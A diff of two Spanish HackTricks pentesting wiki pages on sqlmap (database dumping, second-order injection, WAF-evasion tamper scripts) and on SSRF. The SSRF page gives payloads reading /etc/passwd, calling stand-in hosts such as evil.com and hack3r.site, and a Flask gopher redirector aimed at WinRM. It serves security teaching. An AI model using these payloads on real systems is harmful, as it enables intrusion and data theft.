python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Lee esta publicación**](second-order-injection-sqlmap.md)**sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.**
|
||||
[**Lee este post**](second-order-injection-sqlmap.md) **sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.**
|
||||
|
||||
## Laboratorios para practicar
|
||||
|
||||
* Aprende sobre sqlmap usándolo en la **sala THM**:
|
||||
* Aprende sobre sqlmap usándolo en el **THM room**:
|
||||
|
||||
{% embed url="https://tryhackme.com/room/sqlmap" %}
|
||||
|
||||
## Personalizando la inyección
|
||||
## Personalización de la Inyección
|
||||
|
||||
### Establecer un sufijo
|
||||
```bash
|
||||
|
@ -312,100 +149,83 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### Ayuda para encontrar inyección booleana
|
||||
|
||||
Si sospechas que un sitio web es vulnerable a una inyección SQL booleana, puedes utilizar la herramienta `sqlmap` para ayudarte en el proceso de pentesting. `sqlmap` es una herramienta de código abierto que automatiza la detección y explotación de vulnerabilidades de inyección SQL.
|
||||
|
||||
Para encontrar una inyección booleana, sigue estos pasos:
|
||||
|
||||
1. Ejecuta `sqlmap` en tu terminal y especifica la URL del sitio web objetivo.
|
||||
```bash
|
||||
sqlmap -u <URL>
|
||||
```
|
||||
|
||||
2. Si el sitio web es vulnerable a la inyección SQL booleana, `sqlmap` lo detectará automáticamente y te mostrará un mensaje indicando que se encontró una vulnerabilidad.
|
||||
|
||||
3. Para confirmar la vulnerabilidad, `sqlmap` puede realizar una serie de pruebas utilizando técnicas de inyección booleana. Puedes utilizar la opción `--technique=B` para especificar que solo se utilicen técnicas booleanas.
|
||||
```bash
|
||||
sqlmap -u <URL> --technique=B
|
||||
```
|
||||
|
||||
4. `sqlmap` intentará extraer información de la base de datos utilizando inyección booleana. Puedes utilizar la opción `--dump` para extraer los datos de las tablas de la base de datos.
|
||||
```bash
|
||||
sqlmap -u <URL> --technique=B --dump
|
||||
```
|
||||
|
||||
Recuerda que siempre debes obtener permiso del propietario del sitio web antes de realizar cualquier prueba de penetración.
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Manipulación
|
||||
### Tamper
|
||||
|
||||
Recuerda que **puedes crear tu propia manipulación en python** y es muy sencillo. Puedes encontrar un ejemplo de manipulación en la [página de Inyección de Segundo Orden aquí](second-order-injection-sqlmap.md).
|
||||
Recuerda que **puedes crear tu propio tamper en python** y es muy sencillo. Puedes encontrar un ejemplo de tamper en la [página de Inyección de Segundo Orden aquí](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
```
|
||||
| Tamper | Descripción |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8 |
|
||||
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
|
||||
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
|
||||
| base64encode.py | Codifica en Base64 todos los caracteres de una carga útil dada |
|
||||
| apostrophemask.py | Reemplaza el carácter apóstrofo con su contraparte de ancho completo UTF-8 |
|
||||
| apostrophenullencode.py | Reemplaza el carácter apóstrofo con su contraparte doble unicode ilegal |
|
||||
| appendnullbyte.py | Añade el carácter de byte NULL codificado al final del payload |
|
||||
| base64encode.py | Codifica en Base64 todos los caracteres en un payload dado |
|
||||
| between.py | Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
|
||||
| chardoubleencode.py | Codifica en doble URL todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
|
||||
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica en URL todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
|
||||
| charunicodeencode.py | Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "\u0022" |
|
||||
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
|
||||
| escapequotes.py | Escapa las comillas (' y ") con una barra diagonal |
|
||||
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave |
|
||||
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
|
||||
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
|
||||
| multiplespaces.py | Agrega varios espacios alrededor de las palabras clave de SQL |
|
||||
| nonrecursivereplacement.py | Reemplaza las palabras clave de SQL predefinidas con representaciones adecuadas para su reemplazo (por ejemplo, .replace("SELECT", "")) filters |
|
||||
| percentage.py | Agrega un signo de porcentaje ('%') delante de cada carácter |
|
||||
| overlongutf8.py | Convierte todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
|
||||
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
|
||||
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave de SQL |
|
||||
| securesphere.py | Agrega una cadena especial diseñada |
|
||||
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la obfuscación automática de los registros del DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios |
|
||||
| space2dash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y un salto de línea ('\n') |
|
||||
| space2hash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n') |
|
||||
| space2morehash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n') |
|
||||
| space2mssqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de un salto de línea ('\n') |
|
||||
| space2mysqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de un salto de línea ('\n') |
|
||||
| space2plus.py | Reemplaza el carácter de espacio (' ') con un signo más ('+') |
|
||||
| space2randomblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y |
|
||||
| bluecoat.py | Reemplaza el carácter de espacio después de una sentencia SQL con un carácter en blanco válido y aleatorio. Luego reemplaza el carácter = con el operador LIKE |
|
||||
| chardoubleencode.py | Doble codificación url de todos los caracteres en un payload dado (sin procesar los ya codificados) |
|
||||
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica en url todos los caracteres en un payload dado (sin procesar los ya codificados) |
|
||||
| charunicodeencode.py | Codifica en url-unicode los caracteres no codificados en un payload dado (sin procesar los ya codificados). "%u0022" |
|
||||
| charunicodeescape.py | Escapa en url-unicode los caracteres no codificados en un payload dado (sin procesar los ya codificados). "\u0022" |
|
||||
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
|
||||
| escapequotes.py | Escapa con barra invertida las comillas (' y ") |
|
||||
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Añade un comentario MySQL versionado antes de cada palabra clave |
|
||||
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Encierra la consulta completa con un comentario versionado |
|
||||
| modsecurityzeroversioned.py | Encierra la consulta completa con un comentario versionado a cero |
|
||||
| multiplespaces.py | Añade múltiples espacios alrededor de palabras clave SQL |
|
||||
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para filtros de reemplazo (p. ej., .replace("SELECT", ""))|
|
||||
| percentage.py | Añade un signo de porcentaje ('%') delante de cada carácter |
|
||||
| overlongutf8.py | Convierte todos los caracteres en un payload dado (sin procesar los ya codificados) |
|
||||
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de mayúsculas/minúsculas aleatorio |
|
||||
| randomcomments.py | Añade comentarios aleatorios a palabras clave SQL |
|
||||
| securesphere.py | Añade una cadena especialmente diseñada |
|
||||
| sp\_password.py | Añade 'sp\_password' al final del payload para obfuscación automática de los registros del DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios |
|
||||
| space2dash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y una nueva línea ('\n') |
|
||||
| space2hash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n')|
|
||||
| space2morehash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n')|
|
||||
| space2mssqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una nueva línea ('\n') |
|
||||
| space2mysqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una nueva línea ('\n') |
|
||||
| space2plus.py | Reemplaza el carácter de espacio (' ') con un más ('+') |
|
||||
| space2randomblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y |
|
||||
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
|
||||
| unmagicquotes.py | Reemplaza el carácter de comilla (') con una combinación de varios bytes %bf%27 junto con un comentario genérico al final (para que funcione) |
|
||||
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúscula 'INSERT' |
|
||||
| varnish.py | Agrega una cabecera HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL |
|
||||
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL |
|
||||
| xforwardedfor.py | Agrega una cabecera HTTP falsa 'X-Forwarded-For' |
|
||||
| unmagicquotes.py | Reemplaza el carácter de comilla (') con una combinación de multi-byte %bf%27 junto con un comentario genérico al final (para que funcione)|
|
||||
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúsculas 'INSERT' |
|
||||
| varnish.py | Añade un encabezado HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario MySQL versionado |
|
||||
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario MySQL versionado |
|
||||
| xforwardedfor.py | Añade un falso encabezado HTTP 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) es un evento internacional de ciberseguridad con más de una década de experiencia que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español y atrae a hackers e investigadores de todo el mundo.\
|
||||
¡Regístrate ahora en el siguiente [enlace](https://www.dragonjarcon.org/) y no te pierdas esta gran conferencia!
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# SSRF (Server Side Request Forgery)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -10,19 +10,21 @@ Obtén Acceso Hoy:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario de la elección del atacante**. (De [aquí](https://portswigger.net/web-security/ssrf))
|
||||
La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario** de la elección del atacante. (De [aquí](https://portswigger.net/web-security/ssrf))
|
||||
|
||||
## Capturar SSRF
|
||||
## Captura SSRF
|
||||
|
||||
Lo primero que necesitas hacer es capturar una interacción SSRF provocada por ti. Para capturar una interacción HTTP o DNS puedes usar herramientas como:
|
||||
|
||||
|
@ -33,7 +35,7 @@ Lo primero que necesitas hacer es capturar una interacción SSRF provocada por t
|
|||
* [**http://webhook.site**](http://webhook.site)
|
||||
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||||
|
||||
## Eludir Dominios en Lista Blanca
|
||||
## Bypass de Dominios en Lista Blanca
|
||||
|
||||
Usualmente encontrarás que el SSRF solo funciona en **ciertos dominios en lista blanca** o URL. En la siguiente página tienes una **compilación de técnicas para intentar eludir esa lista blanca**:
|
||||
|
||||
|
@ -41,7 +43,7 @@ Usualmente encontrarás que el SSRF solo funciona en **ciertos dominios en lista
|
|||
[url-format-bypass.md](url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Eludir a través de redirección abierta
|
||||
### Bypass a través de redirección abierta
|
||||
|
||||
Si el servidor está correctamente protegido podrías **eludir todas las restricciones explotando una Redirección Abierta dentro de la página web**. Debido a que la página web permitirá **SSRF al mismo dominio** y probablemente **seguirá redirecciones**, puedes explotar la **Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno**.\
|
||||
Lee más aquí: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
@ -54,14 +56,14 @@ file:///etc/passwd
|
|||
```
|
||||
### dict://
|
||||
|
||||
El esquema de URL DICT se utiliza para referirse a definiciones o listas de palabras disponibles utilizando el protocolo DICT:
|
||||
El esquema de URL DICT se utiliza para referirse a definiciones o listas de palabras disponibles mediante el protocolo DICT:
|
||||
```
|
||||
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
|
||||
ssrf.php?url=dict://attacker:11111/
|
||||
```
|
||||
### SFTP://
|
||||
|
||||
Un protocolo de red utilizado para la transferencia segura de archivos a través de secure shell
|
||||
Un protocolo de red utilizado para la transferencia segura de archivos sobre secure shell
|
||||
```
|
||||
ssrf.php?url=sftp://evil.com:11111/
|
||||
```
|
||||
|
@ -103,7 +105,7 @@ QUIT
|
|||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||||
```
|
||||
**Gopher SMTP — Conexión inversa al 1337**
|
||||
**Gopher SMTP — Conexión inversa a 1337**
|
||||
|
||||
{% code title="redirect.php" %}
|
||||
```php
|
||||
|
@ -112,17 +114,19 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|||
?>Now query it.
|
||||
https://example.com/?q=http://evil.com/redirect.php.
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### SMTP
|
||||
|
||||
De [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
||||
1\. conectarse con SSRF en smtp localhost:25\
|
||||
2\. desde la primera línea obtener el nombre de dominio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||||
3\. buscar[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) en github, encontrar subdominios\
|
||||
4\. conectar
|
||||
1\. Conectar con SSRF en smtp localhost:25\
|
||||
2\. Desde la primera línea obtener el nombre de dominio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||||
3\. Buscar[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) en github, encontrar subdominios\
|
||||
4\. Conectar
|
||||
|
||||
### Curl URL globbing - WAF bypass
|
||||
### Curl URL globbing - Evasión de WAF
|
||||
|
||||
Si el SSRF se ejecuta mediante **curl**, curl tiene una característica llamada [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que podría ser útil para evadir WAFs. Por ejemplo, en este [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puedes encontrar este ejemplo para un **path traversal vía protocolo `file`**:
|
||||
Si el SSRF se ejecuta mediante **curl**, curl tiene una característica llamada [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que podría ser útil para evadir WAFs. Por ejemplo, en este [**informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puedes encontrar este ejemplo para un **path traversal vía protocolo `file`**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
@ -136,7 +140,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
|||
|
||||
## SSRF a través del encabezado Referrer
|
||||
|
||||
Algunas aplicaciones utilizan software de análisis del lado del servidor que rastrea a los visitantes. Este software a menudo registra el encabezado Referrer en las solicitudes, ya que esto es de particular interés para el seguimiento de enlaces entrantes. A menudo, el software de análisis visitará cualquier URL de terceros que aparezca en el encabezado Referrer. Esto se hace típicamente para analizar los contenidos de los sitios de referencia, incluyendo el texto ancla que se utiliza en los enlaces entrantes. Como resultado, el encabezado Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.\
|
||||
Algunas aplicaciones utilizan software de análisis del lado del servidor que rastrea a los visitantes. Este software a menudo registra el encabezado Referrer en las solicitudes, ya que esto es de particular interés para el seguimiento de enlaces entrantes. A menudo, el software de análisis visitará cualquier URL de terceros que aparezca en el encabezado Referrer. Esto se hace típicamente para analizar el contenido de los sitios de referencia, incluyendo el texto ancla que se utiliza en los enlaces entrantes. Como resultado, el encabezado Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.\
|
||||
Para descubrir este tipo de vulnerabilidades "ocultas" podrías usar el complemento "**Collaborator Everywhere**" de Burp.
|
||||
|
||||
## SSRF a través de datos SNI del certificado
|
||||
|
@ -166,7 +170,7 @@ Podría valer la pena probar un payload como: `` url=http://3iufty2q67fuy2dew3yu
|
|||
|
||||
## Renderizado de PDFs
|
||||
|
||||
Si la página web está creando automáticamente un PDF con información que has proporcionado, puedes **insertar JS que será ejecutado por el creador del PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar JS que será ejecutado por el creador del PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## De SSRF a DoS
|
||||
|
||||
|
@ -210,9 +214,17 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
|
|||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
|
||||
Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **CORS/SOP**, **DNS Rebidding** se puede utilizar para eludir esa limitación:
|
||||
Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **CORS/SOP**, **DNS Rebidding** puede usarse para eludir esa limitación:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -236,22 +248,22 @@ Ataque:
|
|||
|
||||
1. Pedir al usuario/bot **acceder** a un **dominio** controlado por el **atacante**
|
||||
2. El **TTL** del **DNS** es de **0** seg (así que la víctima verificará la IP del dominio de nuevo pronto)
|
||||
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce la **carga útil dentro** del **ID de Sesión o Ticket de Sesión**.
|
||||
4. El **dominio** iniciará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **de nuevo** una **solicitud DNS** del dominio.
|
||||
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce el **payload dentro** del **ID de Sesión o Ticket de Sesión**.
|
||||
4. El **dominio** comenzará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **de nuevo** una **solicitud DNS** del dominio.
|
||||
5. En la solicitud DNS se proporciona una **dirección IP privada** **ahora** (127.0.0.1 por ejemplo)
|
||||
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo **enviará** el **ID de Sesión/Ticket** (donde estaba contenida la **carga útil** del atacante). Así que felicidades, has logrado que el **usuario/bot se ataque a sí mismo**.
|
||||
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo **enviará** el **ID de Sesión/Ticket** (donde estaba contenido el **payload** del atacante). Así que felicidades, has logrado que el **usuario/bot se ataque a sí mismo**.
|
||||
|
||||
